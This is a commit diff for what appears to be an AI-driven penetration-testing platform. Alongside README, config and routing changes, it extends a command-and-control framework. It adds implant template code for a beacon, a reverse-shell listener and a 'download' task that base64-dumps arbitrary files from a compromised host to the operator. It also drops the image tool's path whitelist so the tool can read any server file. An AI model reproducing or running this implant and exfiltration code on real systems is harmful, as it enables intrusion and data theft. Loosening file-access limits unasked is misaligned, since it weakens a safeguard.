Update config.yaml

README.md

@@ -190,13 +190,14 @@ The `run.sh` script will automatically:
      ```
    - Or edit `config.yaml` directly before launching
 2. **Login** - Use the auto-generated password shown in the console (or set `auth.password` in `config.yaml`)
-3. **Install security tools (optional)** - Install tools as needed:
+3. **Install security tools (optional)** - Install all tools declared under `tools/`:
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   ./install-tools.sh              # install missing tools (best on Kali/Debian/Ubuntu)
+   ./install-tools.sh --check      # check only, no install
+   ./install-tools.sh --list       # show per-tool status
+   ./install-tools.sh --only nmap,gau   # install selected tools only
    ```
+   On macOS, install bash 4+ via Homebrew first; without apt, the script falls back to pip/go/GitHub.
    AI automatically falls back to alternatives when a tool is missing.
 
 **Alternative Launch Methods:**

README_CN.md

@@ -189,14 +189,15 @@ chmod +x run.sh && ./run.sh
      ```
    - 或启动前直接编辑 `config.yaml` 文件
 2. **登录系统** - 使用控制台显示的自动生成密码（或在 `config.yaml` 中设置 `auth.password`）
-3. **安装安全工具（可选）** - 按需安装所需工具：
+3. **安装安全工具（可选）** - 一键安装 `tools/` 目录声明的全部工具：
    ```bash
-   # macOS
-   brew install nmap sqlmap nuclei httpx gobuster feroxbuster subfinder amass
-   # Ubuntu/Debian
-   sudo apt-get install nmap sqlmap nuclei httpx gobuster feroxbuster
+   ./install-tools.sh              # 安装缺失工具 (Kali/Debian/Ubuntu 推荐)
+   ./install-tools.sh --check      # 仅检查, 不安装
+   ./install-tools.sh --list       # 列出各工具安装状态
+   ./install-tools.sh --only nmap,gau   # 只装指定工具
    ```
-   未安装的工具会自动跳过或改用替代方案。
+   macOS 自带 bash 3.2, 请用 `./install-tools.sh --install-bash --list` 自动安装 bash 4+; apt 不可用时会降级到 pip/go/GitHub。
+   未安装的工具在执行时会自动跳过或改用替代方案。
 
 **其他启动方式：**
 ```bash

config.yaml

@@ -10,7 +10,7 @@
 # ============================================
 
 # 前端显示的版本号（可选，不填则显示默认版本）
-version: "v1.6.30"
+version: "v1.6.34"
 # 服务器配置
 server:
   host: 0.0.0.0 # 监听地址，0.0.0.0 表示监听所有网络接口
@@ -79,7 +79,6 @@ vision:
   skip_preprocess_below_bytes: 2097152 # 低于 2MB 且长边<=max_dimension 且<=max_payload 时原图直传；0=始终压缩
   detail: auto # low | high | auto（Eino ImageURLDetail）
   timeout_seconds: 60
-  # allowed_roots: [] # 额外允许的绝对路径根目录
 # ============================================
 # 信息收集（FOFA）配置（可选）
 # ============================================
@@ -92,7 +91,7 @@ fofa:
 # Agent 配置
 # 达到最大迭代次数时，AI 会自动总结测试结果
 agent:
-  max_iterations: 12000 # 最大迭代次数，AI 代理最多执行多少轮工具调用
+  max_iterations: 12000 # 全局最大迭代次数（单代理 / Deep / Supervisor / Plan-Execute 主执行器 / 子代理均沿用；agents/*.md 中 max_iterations>0 可单独覆盖）
   large_result_threshold: 102400 # 大结果阈值（字节），默认50KB，超过此大小会自动保存到存储
   result_storage_dir: tmp # 结果存储目录，大结果会保存在此目录下
   tool_timeout_minutes: 60 # 单次工具执行最大时长（分钟），超时自动终止；0 表示不限制（不推荐，易出现长时间挂起）
@@ -110,10 +109,8 @@ multi_agent:
   enabled: true
   robot_default_agent_mode: eino_single # 企微/钉钉/飞书机器人默认：eino_single | deep | plan_execute | supervisor
   batch_use_multi_agent: false # true 时「批量任务」队列中每个子任务也走 Eino 多代理（成本更高）
-  max_iteration: 0 # 主代理 / plan_execute 执行器最大轮次，0 表示沿用 agent.max_iterations
-  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。当前实现下 Executor 会挂载 patch/reduction/tool_search 等前置中间件。
+  # plan_execute 专用：execute↔replan 外层循环上限，0 表示 Eino 默认 10。主/子代理 ReAct 轮次见 agent.max_iterations。
   plan_execute_loop_max_iterations: 0
-  sub_agent_max_iterations: 120
   sub_agent_user_context_max_runes: 0 # 子代理 task 描述中自动注入用户原始请求的字符上限；0=默认2000，负数=禁用
   without_general_sub_agent: false # false 时保留 Deep 内置 general-purpose 子代理
   without_write_todos: false
@@ -295,7 +292,7 @@ skills_dir: skills # Skills配置文件目录（相对于配置文件所在目
 # ============================================
 # 多代理子 Agent（Markdown，唯一维护处）
 # ============================================
-# 每个 .md：YAML front matter（name / id / description / tools / bind_role / max_iterations / 可选 kind: orchestrator）+ 正文为系统提示词
+# 每个 .md：YAML front matter（name / id / description / tools / bind_role / 可选 max_iterations>0 覆盖全局 / 可选 kind: orchestrator）+ 正文为系统提示词
 # 主代理：固定文件名 orchestrator.md，或任意文件名 + front matter kind: orchestrator（全目录仅允许一个）；主代理不参与 task 子代理列表
 # 高级用法：仍可在 multi_agent 块内写 sub_agents，会与本文目录合并且同 id 时 YAML 可被 .md 覆盖
 agents_dir: agents
@@ -313,7 +310,7 @@ roles_dir: roles # 角色配置文件目录（相对于配置文件所在目录
 project:
   enabled: true
   # default_project_id: "" # 可选：机器人/批量任务创建对话时的默认项目 ID
-  fact_index_max_runes: 3500
-  fact_summary_max_runes: 240
+  fact_index_max_runes: 6500
+  fact_summary_max_runes: 2400
   default_inject_deprecated: false
   

docs/MULTI_AGENT_EINO.md

@@ -12,7 +12,7 @@
 | 项 | 说明 |
 |----|------|
 | 依赖与代理 | `go.mod` 直接依赖 `github.com/cloudwego/eino`、`eino-ext/.../openai`；`go.mod` 注释与 `scripts/bootstrap-go.sh` 指导 **GOPROXY**（如 `https://goproxy.cn,direct`）。 |
-| 配置 | `config.yaml` → `multi_agent`：`enabled`、`robot_use_multi_agent`、`max_iteration`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
+| 配置 | `config.yaml` → `agent.max_iterations` 为全局 ReAct 上限（主/子代理统一）；`multi_agent`：`enabled`、`robot_use_multi_agent`、`sub_agents`（含可选 `bind_role`）、`eino_skills`、`eino_middleware` 等；结构体见 `internal/config/config.go`。 |
 | Markdown 子代理 / 主代理 | 在 `agents_dir` 下放 `*.md`。**子代理**：供 Deep `task` 与 `supervisor` `transfer`。**主代理（按模式分离）**：`orchestrator.md`（或 `kind: orchestrator` 的**单个**其他 .md）→ **Deep**；固定名 `orchestrator-plan-execute.md` → **plan_execute**；固定名 `orchestrator-supervisor.md` → **supervisor**。正文优先于 YAML：`multi_agent.orchestrator_instruction`、`orchestrator_instruction_plan_execute`、`orchestrator_instruction_supervisor`；plan_execute / supervisor **不会**回退到 Deep 的 `orchestrator_instruction`。皆空时 plan_execute / supervisor 使用代码内置默认提示。管理：**Agents → Agent管理**；API：`/api/multi-agent/markdown-agents*`。 |
 | MCP 桥 | `internal/einomcp`：`ToolsFromDefinitions` + 会话 ID 持有者，执行走 `Agent.ExecuteMCPToolForConversation`。 |
 | 编排 | `internal/multiagent/runner.go`：`deep.New` + 子 `ChatModelAgent` + `adk.NewRunner`（`EnableStreaming: true`，可选 `CheckPointStore`），事件映射为现有 SSE `tool_call` / `response_delta` 等。 |

docs/VISION.md

@@ -22,7 +22,6 @@ vision:
   skip_preprocess_below_bytes: 2097152  # 低于 2MB 且长边<=max_dimension 时原图直传；0=始终 JPEG 压缩
   detail: low          # low | high | auto
   timeout_seconds: 60
-  # allowed_roots: [] # 额外绝对路径根
 ```
 
 `enabled: false` 时不注册工具。
@@ -31,14 +30,9 @@ vision:
 
 **系统设置 → 基本设置 → 视觉分析（analyze_image）** 可配置启用开关、视觉模型、API Key/Base URL（留空复用 OpenAI）、预处理参数；**保存并应用** 后写入 `config.yaml` 并重新注册 MCP 工具。
 
-## 路径白名单
+## 路径
 
-默认可读：
-
-- 进程工作目录（`cwd`）及其子路径
-- `chat_uploads/`
-- `agent.result_storage_dir`（默认 `tmp/`）
-- `vision.allowed_roots` 中配置的绝对路径
+`analyze_image` 可读取服务器上任意可读的图片文件路径（绝对路径或相对于进程工作目录的相对路径）。仍校验图片扩展名与常规文件类型。
 
 ## Agent 使用
 

go.mod

@@ -17,6 +17,7 @@ require (
 	github.com/cloudwego/eino-ext/components/embedding/openai v0.0.0-20260427010451-749e3706378b
 	github.com/cloudwego/eino-ext/components/model/openai v0.1.13
 	github.com/creack/pty v1.1.24
+	github.com/disintegration/imaging v1.6.2
 	github.com/eino-contrib/jsonschema v1.0.3
 	github.com/gin-gonic/gin v1.9.1
 	github.com/google/uuid v1.6.0
@@ -49,7 +50,6 @@ require (
 	github.com/cenkalti/backoff/v4 v4.3.0 // indirect
 	github.com/cloudwego/base64x v0.1.6 // indirect
 	github.com/cloudwego/eino-ext/libs/acl/openai v0.1.17 // indirect
-	github.com/disintegration/imaging v1.6.2 // indirect
 	github.com/dlclark/regexp2 v1.10.0 // indirect
 	github.com/dustin/go-humanize v1.0.1 // indirect
 	github.com/evanphx/json-patch v0.5.2 // indirect

internal/app/app.go

@@ -880,6 +880,7 @@ func setupRoutes(
 		protected.DELETE("/monitor/execution/:id", monitorHandler.DeleteExecution)
 		protected.DELETE("/monitor/executions", monitorHandler.DeleteExecutions)
 		protected.GET("/monitor/stats", monitorHandler.GetStats)
+		protected.GET("/monitor/calls-timeline", monitorHandler.GetCallsTimeline)
 		protected.GET("/notifications/summary", notificationHandler.GetSummary)
 		protected.POST("/notifications/read", notificationHandler.MarkRead)
 
@@ -1065,6 +1066,7 @@ func setupRoutes(
 		// 漏洞管理
 		protected.GET("/vulnerabilities", vulnerabilityHandler.ListVulnerabilities)
 		protected.GET("/vulnerabilities/export", vulnerabilityHandler.ExportVulnerabilities)
+		protected.DELETE("/vulnerabilities/batch", vulnerabilityHandler.BatchDeleteVulnerabilities)
 		protected.GET("/vulnerabilities/filter-options", vulnerabilityHandler.GetVulnerabilityFilterOptions)
 		protected.GET("/vulnerabilities/stats", vulnerabilityHandler.GetVulnerabilityStats)
 		protected.GET("/vulnerabilities/:id", vulnerabilityHandler.GetVulnerability)
@@ -1073,6 +1075,7 @@ func setupRoutes(
 		protected.DELETE("/vulnerabilities/:id", vulnerabilityHandler.DeleteVulnerability)
 
 		// 项目管理与事实黑板
+		protected.GET("/projects/dashboard-summary", projectHandler.GetDashboardSummary)
 		protected.GET("/projects", projectHandler.ListProjects)
 		protected.POST("/projects", projectHandler.CreateProject)
 		protected.GET("/projects/:id/stats", projectHandler.GetProjectStats)
@@ -1081,8 +1084,6 @@ func setupRoutes(
 		protected.PUT("/projects/:id", projectHandler.UpdateProject)
 		protected.DELETE("/projects/:id", projectHandler.DeleteProject)
 		protected.GET("/projects/:id/facts", projectHandler.ListFacts)
-		protected.GET("/projects/:id/facts/:factId/previous-version", projectHandler.GetFactPreviousVersion)
-		protected.GET("/projects/:id/facts/:factId/versions", projectHandler.ListFactVersions)
 		protected.POST("/projects/:id/facts", projectHandler.CreateFact)
 		protected.PUT("/projects/:id/facts/:factId", projectHandler.UpdateFact)
 		protected.DELETE("/projects/:id/facts/:factId", projectHandler.DeleteFact)

internal/c2/console_encoding.go

@@ -0,0 +1,48 @@
+package c2
+
+import (
+	"encoding/base64"
+	"strings"
+	"unicode/utf8"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+// NormalizeConsoleOutput 将 implant/Shell 原始控制台字节转为 UTF-8 文本。
+// osTag 来自会话的 os 字段（如 windows / Windows 10）；空值时按 auto 处理。
+func NormalizeConsoleOutput(raw []byte, osTag string) string {
+	if len(raw) == 0 {
+		return ""
+	}
+	osTag = strings.ToLower(strings.TrimSpace(osTag))
+	isWindows := strings.Contains(osTag, "windows")
+
+	if utf8.Valid(raw) {
+		return string(raw)
+	}
+	if isWindows {
+		if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+			return string(out)
+		}
+	}
+	// 非 Windows 或解码失败：GB18030 兜底（覆盖 GBK）
+	if out, _, err := transform.Bytes(simplifiedchinese.GB18030.NewDecoder(), raw); err == nil {
+		return string(out)
+	}
+	return string(raw)
+}
+
+// ResolveTaskResultText 合并 beacon 回传的 Output/OutputB64（及 Error/ErrorB64），按会话 OS 解码。
+func ResolveTaskResultText(plain, b64, sessionOS string) string {
+	if strings.TrimSpace(b64) != "" {
+		raw, err := base64.StdEncoding.DecodeString(strings.TrimSpace(b64))
+		if err == nil {
+			return NormalizeConsoleOutput(raw, sessionOS)
+		}
+	}
+	if plain == "" {
+		return ""
+	}
+	return NormalizeConsoleOutput([]byte(plain), sessionOS)
+}

internal/c2/console_encoding_test.go

@@ -0,0 +1,51 @@
+package c2
+
+import (
+	"encoding/base64"
+	"testing"
+
+	"golang.org/x/text/encoding/simplifiedchinese"
+	"golang.org/x/text/transform"
+)
+
+func mustGBK(t *testing.T, s string) []byte {
+	t.Helper()
+	out, _, err := transform.Bytes(simplifiedchinese.GBK.NewEncoder(), []byte(s))
+	if err != nil {
+		t.Fatal(err)
+	}
+	return out
+}
+
+func TestNormalizeConsoleOutput_WindowsGBK(t *testing.T) {
+	raw := mustGBK(t, "中文测试")
+	got := NormalizeConsoleOutput(raw, "windows")
+	if got != "中文测试" {
+		t.Fatalf("got %q want 中文测试", got)
+	}
+}
+
+func TestNormalizeConsoleOutput_UTF8Passthrough(t *testing.T) {
+	raw := []byte("hello 世界")
+	got := NormalizeConsoleOutput(raw, "linux")
+	if got != "hello 世界" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PrefersB64(t *testing.T) {
+	raw := mustGBK(t, "采购订单")
+	b64 := base64.StdEncoding.EncodeToString(raw)
+	got := ResolveTaskResultText("", b64, "windows")
+	if got != "采购订单" {
+		t.Fatalf("got %q", got)
+	}
+}
+
+func TestResolveTaskResultText_PlainFallback(t *testing.T) {
+	raw := mustGBK(t, "测试")
+	got := ResolveTaskResultText(string(raw), "", "windows")
+	if got != "测试" {
+		t.Fatalf("got %q", got)
+	}
+}

internal/c2/listener_http.go

@@ -367,6 +367,7 @@ func (l *HTTPBeaconListener) handleFileServe(w http.ResponseWriter, r *http.Requ
 	}
 	prefix := l.cfg.BeaconFilePath
 	taskID := strings.TrimPrefix(r.URL.Path, prefix)
+	taskID = strings.TrimSuffix(taskID, ".bin")
 	if taskID == "" || strings.Contains(taskID, "/") || strings.Contains(taskID, "\\") || strings.Contains(taskID, "..") {
 		l.disguisedReject(w)
 		return

internal/c2/listener_http_test.go

@@ -2,10 +2,12 @@ package c2
 
 import (
 	"bytes"
+	"encoding/base64"
 	"encoding/json"
 	"io"
 	"net"
 	"net/http"
+	"os"
 	"path/filepath"
 	"strconv"
 	"strings"
@@ -127,3 +129,101 @@ func TestHTTPBeaconListener_CheckInMatrix(t *testing.T) {
 		}
 	})
 }
+
+func TestHTTPBeaconListener_HandleFileServe(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "c2.sqlite")
+	db, err := database.NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = db.Close() })
+
+	lnPick, err := net.Listen("tcp", "127.0.0.1:0")
+	if err != nil {
+		t.Fatal(err)
+	}
+	port := lnPick.Addr().(*net.TCPAddr).Port
+	_ = lnPick.Close()
+
+	keyB64, err := GenerateAESKey()
+	if err != nil {
+		t.Fatal(err)
+	}
+	token := "test-implant-token-file"
+
+	lid := "l_testhttpfile01"
+	rec := &database.C2Listener{
+		ID:            lid,
+		Name:          "t",
+		Type:          string(ListenerTypeHTTPBeacon),
+		BindHost:      "127.0.0.1",
+		BindPort:      port,
+		EncryptionKey: keyB64,
+		ImplantToken:  token,
+		Status:        "stopped",
+		ConfigJSON:    `{"beacon_file_path":"/file/"}`,
+		CreatedAt:     time.Now(),
+	}
+	if err := db.CreateC2Listener(rec); err != nil {
+		t.Fatal(err)
+	}
+
+	store := filepath.Join(tmp, "c2store")
+	m := NewManager(db, zap.NewNop(), store)
+	m.Registry().Register(string(ListenerTypeHTTPBeacon), NewHTTPBeaconListener)
+	if _, err := m.StartListener(lid); err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = m.StopListener(lid) })
+
+	fileID := "f_testfile123"
+	downDir := filepath.Join(store, "downstream")
+	if err := os.MkdirAll(downDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	want := []byte("upload-payload-bytes")
+	if err := os.WriteFile(filepath.Join(downDir, fileID+".bin"), want, 0o644); err != nil {
+		t.Fatal(err)
+	}
+
+	base := "http://127.0.0.1:" + strconv.Itoa(port)
+	client := &http.Client{Timeout: 5 * time.Second}
+
+	for _, path := range []string{"/file/" + fileID, "/file/" + fileID + ".bin"} {
+		t.Run(path, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodGet, base+path, nil)
+			req.Header.Set("X-Implant-Token", token)
+			resp, err := client.Do(req)
+			if err != nil {
+				t.Fatal(err)
+			}
+			defer resp.Body.Close()
+			if resp.StatusCode != http.StatusOK {
+				b, _ := io.ReadAll(resp.Body)
+				t.Fatalf("status=%d body=%q", resp.StatusCode, b)
+			}
+			raw, err := io.ReadAll(resp.Body)
+			if err != nil {
+				t.Fatal(err)
+			}
+			plain, err := DecryptAESGCM(keyB64, string(raw))
+			if err != nil {
+				t.Fatal(err)
+			}
+			var out struct {
+				FileData string `json:"file_data"`
+			}
+			if err := json.Unmarshal(plain, &out); err != nil {
+				t.Fatal(err)
+			}
+			got, err := base64.StdEncoding.DecodeString(out.FileData)
+			if err != nil {
+				t.Fatal(err)
+			}
+			if !bytes.Equal(got, want) {
+				t.Fatalf("got %q want %q", got, want)
+			}
+		})
+	}
+}

internal/c2/listener_tcp.go

@@ -298,6 +298,12 @@ func (l *TCPReverseListener) runTaskOnConn(c *tcpReverseConn, env TaskEnvelope)
 		return
 	}
 	cleaned := cleanShellOutput(output, cmd)
+	if TaskType(env.TaskType) == TaskTypeDownload {
+		if errMsg := detectDownloadShellError(cleaned); errMsg != "" {
+			l.reportTaskResult(env.TaskID, startedAt, false, cleaned, errMsg, "", "")
+			return
+		}
+	}
 	l.reportTaskResult(env.TaskID, startedAt, true, cleaned, "", "", "")
 }
 
@@ -316,8 +322,8 @@ func (l *TCPReverseListener) reportTaskResult(taskID string, startedAtMS int64,
 }
 
 // buildTCPCommand 把 (TaskType + payload) 转成 raw shell 命令字符串。
-// 仅支持 TCP 反弹模式可直接执行的最简任务类型；upload/download/screenshot 这些
-// 需要二进制传输的能力建议使用 http_beacon。
+// 仅支持 TCP 反弹模式可直接执行的最简任务类型；download 通过 base64 输出文本结果，
+// upload/screenshot 等需要二进制传输的能力建议使用 http_beacon。
 func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool) {
 	switch t {
 	case TaskTypeExec, TaskTypeShell:
@@ -345,6 +351,16 @@ func buildTCPCommand(t TaskType, payload map[string]interface{}) (string, bool)
 			return "", false
 		}
 		return "cd " + shellQuote(path) + " && pwd", true
+	case TaskTypeDownload:
+		path, _ := payload["remote_path"].(string)
+		if strings.TrimSpace(path) == "" {
+			return "", false
+		}
+		q := shellQuote(path)
+		return fmt.Sprintf(
+			`f=%s; if [ ! -e "$f" ]; then echo 'C2_DOWNLOAD_ERR: no such file or directory' >&2; exit 1; elif [ -d "$f" ]; then echo 'C2_DOWNLOAD_ERR: is a directory' >&2; exit 1; elif [ ! -r "$f" ]; then echo 'C2_DOWNLOAD_ERR: permission denied' >&2; exit 1; else base64 "$f" 2>/dev/null || base64 < "$f"; fi`,
+			q,
+		), true
 	case TaskTypeExit:
 		return "exit 0", true
 	}
@@ -382,6 +398,29 @@ func shellQuote(s string) string {
 	return "'" + strings.ReplaceAll(s, "'", "'\\''") + "'"
 }
 
+// detectDownloadShellError 识别 download 任务中 shell/base64 返回的错误信息。
+func detectDownloadShellError(output string) string {
+	trimmed := strings.TrimSpace(output)
+	if trimmed == "" {
+		return ""
+	}
+	lower := strings.ToLower(trimmed)
+	markers := []string{
+		"c2_download_err:",
+		"no such file",
+		"permission denied",
+		"is a directory",
+		"cannot open",
+		"not a regular file",
+	}
+	for _, m := range markers {
+		if strings.Contains(lower, m) {
+			return trimmed
+		}
+	}
+	return ""
+}
+
 func isAddrInUse(err error) bool {
 	if err == nil {
 		return false

internal/c2/listener_tcp_download_test.go

@@ -0,0 +1,43 @@
+package c2
+
+import (
+	"strings"
+	"testing"
+)
+
+func TestDetectDownloadShellError(t *testing.T) {
+	tests := []struct {
+		name   string
+		output string
+		want   string
+	}{
+		{name: "empty ok", output: "", want: ""},
+		{name: "base64 ok", output: "aGVsbG8=", want: ""},
+		{name: "marker", output: "C2_DOWNLOAD_ERR: no such file or directory", want: "C2_DOWNLOAD_ERR: no such file or directory"},
+		{name: "bash missing file", output: "bash: ../0: No such file or directory", want: "bash: ../0: No such file or directory"},
+		{name: "permission denied", output: "C2_DOWNLOAD_ERR: permission denied", want: "C2_DOWNLOAD_ERR: permission denied"},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := detectDownloadShellError(tt.output)
+			if got != tt.want {
+				t.Fatalf("detectDownloadShellError(%q) = %q, want %q", tt.output, got, tt.want)
+			}
+		})
+	}
+}
+
+func TestBuildTCPCommandDownload(t *testing.T) {
+	cmd, ok := buildTCPCommand(TaskTypeDownload, map[string]interface{}{
+		"remote_path": "/tmp/demo.txt",
+	})
+	if !ok {
+		t.Fatal("expected download command to be supported")
+	}
+	if want := "f='/tmp/demo.txt'"; !strings.Contains(cmd, want) {
+		t.Fatalf("command %q should contain %q", cmd, want)
+	}
+	if !strings.Contains(cmd, "C2_DOWNLOAD_ERR") {
+		t.Fatalf("command should validate file before base64: %q", cmd)
+	}
+}

internal/c2/manager.go

@@ -638,10 +638,18 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		status = string(TaskFailed)
 	}
 	duration := endedAt.Sub(startedAt).Milliseconds()
+
+	sessionOS := ""
+	if sess, serr := m.db.GetC2Session(t.SessionID); serr == nil && sess != nil {
+		sessionOS = sess.OS
+	}
+	resultText := ResolveTaskResultText(report.Output, report.OutputB64, sessionOS)
+	errText := ResolveTaskResultText(report.Error, report.ErrorB64, sessionOS)
+
 	upd := database.C2TaskUpdate{
 		Status:      &status,
-		ResultText:  &report.Output,
-		Error:       &report.Error,
+		ResultText:  &resultText,
+		Error:       &errText,
 		StartedAt:   &startedAt,
 		CompletedAt: &endedAt,
 		DurationMS:  &duration,
@@ -661,8 +669,8 @@ func (m *Manager) IngestTaskResult(report TaskResultReport) error {
 		return err
 	}
 	t.Status = status
-	t.ResultText = report.Output
-	t.Error = report.Error
+	t.ResultText = resultText
+	t.Error = errText
 
 	level := "info"
 	msg := fmt.Sprintf("任务完成: %s", t.TaskType)

internal/c2/payload_templates/beacon.go.tmpl

@@ -45,6 +45,7 @@ import (
 	"strings"
 	"sync"
 	"time"
+	"unicode/utf8"
 )
 
 // 编译期注入常量（text/template 替换）
@@ -101,7 +102,9 @@ type TaskReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"`
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"`
 	BlobSuffix string `json:"blob_suffix,omitempty"`
 	StartedAt  int64  `json:"started_at"`
@@ -326,16 +329,7 @@ func handleTaskSyncTCP(conn net.Conn, env TaskEnv) {
 	defer func() { tcpTaskConn = nil }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	tcpReportResult(conn, report)
 }
 
@@ -367,7 +361,8 @@ func fetchC2FileByID(fileID string) ([]byte, error) {
 	if tcpTaskConn != nil {
 		return tcpFetchEncryptedFile(tcpTaskConn, fileID)
 	}
-	url := fmt.Sprintf("%s%s%s.bin", serverURL, filePath, fileID)
+	// 服务端 handleFileServe 会在 downstream/<file_id>.bin 读取；URL 路径应为 /file/<file_id>，勿重复 .bin
+	url := fmt.Sprintf("%s%s%s", serverURL, filePath, fileID)
 	req, _ := http.NewRequest("GET", url, nil)
 	req.Header.Set("User-Agent", userAgent)
 	req.Header.Set("X-Implant-Token", implantToken)
@@ -635,20 +630,39 @@ func decryptGCM(cipherText string) ([]byte, error) {
 	return gcm.Open(nil, nonce, ct, nil)
 }
 
+func encodeReportText(s string) (plain, b64 string) {
+	if s == "" {
+		return "", ""
+	}
+	b := []byte(s)
+	if utf8.Valid(b) {
+		return s, ""
+	}
+	return "", base64.StdEncoding.EncodeToString(b)
+}
+
+func buildTaskReport(taskID, output, errMsg, blobB64, blobSuffix string, start, end time.Time) TaskReport {
+	outText, outB64 := encodeReportText(output)
+	errText, errB64 := encodeReportText(errMsg)
+	return TaskReport{
+		TaskID:     taskID,
+		Success:    errMsg == "",
+		Output:     outText,
+		OutputB64:  outB64,
+		Error:      errText,
+		ErrorB64:   errB64,
+		BlobBase64: blobB64,
+		BlobSuffix: blobSuffix,
+		StartedAt:  start.UnixMilli(),
+		EndedAt:    end.UnixMilli(),
+	}
+}
+
 func handleTaskAsync(env TaskEnv) {
 	defer func() { _ = recover() }()
 	start := time.Now()
 	output, blobB64, blobSuffix, errMsg := executeTask(env.TaskType, env.Payload)
-	report := TaskReport{
-		TaskID:     env.TaskID,
-		Success:    errMsg == "",
-		Output:     output,
-		Error:      errMsg,
-		BlobBase64: blobB64,
-		BlobSuffix: blobSuffix,
-		StartedAt:  start.UnixMilli(),
-		EndedAt:    time.Now().UnixMilli(),
-	}
+	report := buildTaskReport(env.TaskID, output, errMsg, blobB64, blobSuffix, start, time.Now())
 	reportResult(report)
 }
 
@@ -890,12 +904,26 @@ func taskKillProc(payload map[string]interface{}) (string, string, string, strin
 	return "killed", "", "", ""
 }
 
+func normalizeRemotePath(p string) string {
+	p = strings.TrimSpace(p)
+	if p == "" || runtime.GOOS != "windows" {
+		return p
+	}
+	// 控制台可能下发 /d:/path/file（Unix 风格），Windows 需转为 d:\path\file
+	p = strings.ReplaceAll(p, "\\", "/")
+	if len(p) >= 3 && p[0] == '/' && p[2] == ':' {
+		p = p[1:]
+	}
+	return filepath.FromSlash(p)
+}
+
 func taskUpload(payload map[string]interface{}) (string, string, string, string) {
 	remotePath, _ := payload["remote_path"].(string)
 	fileID, _ := payload["file_id"].(string)
 	if remotePath == "" || fileID == "" {
 		return "", "", "", "remote_path or file_id empty"
 	}
+	remotePath = normalizeRemotePath(remotePath)
 	data, err := fetchC2FileByID(fileID)
 	if err != nil {
 		return "", "", "", err.Error()

internal/c2/types.go

@@ -209,7 +209,9 @@ type TaskResultReport struct {
 	TaskID     string `json:"task_id"`
 	Success    bool   `json:"success"`
 	Output     string `json:"output,omitempty"`
+	OutputB64  string `json:"output_b64,omitempty"` // 原始控制台字节（base64），避免 JSON 破坏非 UTF-8 输出
 	Error      string `json:"error,omitempty"`
+	ErrorB64   string `json:"error_b64,omitempty"`
 	BlobBase64 string `json:"blob_b64,omitempty"` // 如截图二进制
 	BlobSuffix string `json:"blob_suffix,omitempty"` // 如 ".png"
 	StartedAt  int64  `json:"started_at"`

internal/config/config.go

@@ -72,10 +72,12 @@ type MultiAgentConfig struct {
 	BatchUseMultiAgent     bool   `yaml:"batch_use_multi_agent" json:"batch_use_multi_agent"` // 为 true 时批量任务队列中每子任务走 Eino 多代理
 	// Orchestration 已弃用：保留仅兼容旧版 config.yaml；编排由聊天/WebShell 请求体 orchestration 决定，未传时按 deep。
 	Orchestration string `yaml:"orchestration,omitempty" json:"orchestration,omitempty"`
-	MaxIteration  int    `yaml:"max_iteration" json:"max_iteration"` // 主代理 / 执行器最大推理轮次（Deep、Supervisor、plan_execute 的 Executor）
+	// MaxIteration 已废弃：统一使用 agent.max_iterations（YAML 中保留字段仅为兼容旧配置，运行时不读取）。
+	MaxIteration int `yaml:"max_iteration,omitempty" json:"max_iteration,omitempty"`
 	// PlanExecuteLoopMaxIterations plan_execute 模式下 execute↔replan 外层循环上限；0 表示用 Eino 默认 10。
-	PlanExecuteLoopMaxIterations int    `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
-	SubAgentMaxIterations        int    `yaml:"sub_agent_max_iterations" json:"sub_agent_max_iterations"`
+	PlanExecuteLoopMaxIterations int `yaml:"plan_execute_loop_max_iterations,omitempty" json:"plan_execute_loop_max_iterations,omitempty"`
+	// SubAgentMaxIterations 已废弃：子代理与主代理均使用 agent.max_iterations（Markdown max_iterations>0 可覆盖）。
+	SubAgentMaxIterations int `yaml:"sub_agent_max_iterations,omitempty" json:"sub_agent_max_iterations,omitempty"`
 	WithoutGeneralSubAgent       bool   `yaml:"without_general_sub_agent" json:"without_general_sub_agent"`
 	WithoutWriteTodos            bool   `yaml:"without_write_todos" json:"without_write_todos"`
 	OrchestratorInstruction      string `yaml:"orchestrator_instruction" json:"orchestrator_instruction"`
@@ -238,6 +240,8 @@ type MultiAgentEinoMiddlewareConfig struct {
 	SummarizationTriggerRatio float64 `yaml:"summarization_trigger_ratio,omitempty" json:"summarization_trigger_ratio,omitempty"`
 	// SummarizationEmitInternalEvents controls middleware internal event emission (default true).
 	SummarizationEmitInternalEvents *bool `yaml:"summarization_emit_internal_events,omitempty" json:"summarization_emit_internal_events,omitempty"`
